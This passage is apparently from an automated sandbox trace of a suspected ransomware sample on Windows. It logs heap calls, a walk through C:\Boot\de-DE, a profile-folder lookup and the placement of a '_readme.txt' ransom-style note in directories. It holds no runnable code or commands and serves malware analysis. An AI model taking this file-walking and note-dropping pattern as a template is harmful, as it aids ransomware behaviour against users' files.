RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.251] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.251] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.251] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.251] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.251] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.251] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.251] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.251] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.251] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.251] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.251] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.251] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.251] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.251] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.251] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.251] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.251] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.251] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.251] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.251] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.251] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.251] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.251] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.251] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.251] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.251] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.251] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.251] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.251] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.251] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.252] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.252] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.252] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.252] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.252] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.252] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.252] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.252] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.252] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.252] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.252] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.252] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.252] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.252] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.252] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.252] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.252] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.252] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.252] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.252] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.252] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.252] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.252] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.252] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.252] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.252] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.252] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.252] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.252] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.252] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.252] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.253] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.253] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.253] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.253] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.253] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.253] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.253] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.253] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.253] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.253] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.253] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.253] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.253] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.253] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.253] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.253] PathFindFileNameW (pszPath="C:\\Boot\\de-DE\\") returned="de-DE\\" [0122.253] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018900 [0122.253] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.253] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0122.253] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018900 | out: hHeap=0x5b0000) returned 1 [0122.253] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.253] PathFindFileNameW (pszPath="") returned="" [0122.253] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018900 [0122.253] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76d60000 [0122.254] GetProcAddress (hModule=0x76d60000, lpProcName="SHGetFolderPathW") returned 0x76de5708 [0122.254] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x800) returned 0x307ad38 [0122.254] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x307ad38 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0122.254] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x810) returned 0x30667b8 [0122.254] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018928 [0122.254] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.254] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.254] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018900 | out: hHeap=0x5b0000) returned 1 [0122.254] FreeLibrary (hLibModule=0x76d60000) returned 1 [0122.254] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018928 | out: hHeap=0x5b0000) returned 1 [0122.254] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.254] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.254] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.254] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x81c) returned 0x30667b8 [0122.254] PathAppendW (in: pszPath="C:\\Boot\\de-DE\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\de-DE\\_readme.txt") returned 1 [0122.254] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.254] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.254] PathFileExistsW (pszPath="C:\\Boot\\de-DE\\_readme.txt") returned 1 [0122.255] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.255] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.255] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13aa5870, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13aa5870, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.255] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.255] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13aa5870, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13aa5870, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.255] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0122.255] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13aa5870, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13aa5870, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13aa5870, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0122.256] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13aa5870, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13aa5870, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13aa5870, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0122.256] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.256] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.256] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018798 | out: hHeap=0x5b0000) returned 1 [0122.256] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018798 [0122.256] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.256] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.256] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.256] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.256] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.256] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.256] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.256] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.256] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.256] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.256] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.256] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.256] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.256] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.256] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.256] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.256] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.256] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.256] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.256] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.256] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.256] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.256] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.256] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.256] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.257] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.257] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.257] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc2e) returned 0x307ad38 [0122.257] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.257] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.257] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.257] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.257] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.257] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.257] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.257] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.257] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.257] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.257] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.257] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.257] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.257] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.257] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.257] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.257] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.257] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.257] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.257] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.257] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.257] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.257] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.257] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.257] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.257] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.257] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.257] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.257] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.257] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.257] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.257] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.258] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.258] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.258] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.258] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.258] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.258] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.258] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.258] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.258] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.258] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.258] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.258] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.258] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.258] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.258] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.258] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.258] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.258] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.258] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.258] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.258] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.258] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.258] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.258] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.258] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.258] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.258] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.258] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.258] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.258] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.258] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.258] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.258] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.258] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.259] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.259] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.259] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.259] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.259] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.259] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.259] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.259] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.259] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.259] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc2e) returned 0x307ad38 [0122.259] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.259] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.259] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018950 | out: hHeap=0x5b0000) returned 1 [0122.259] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.259] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.259] HeapFree (in: 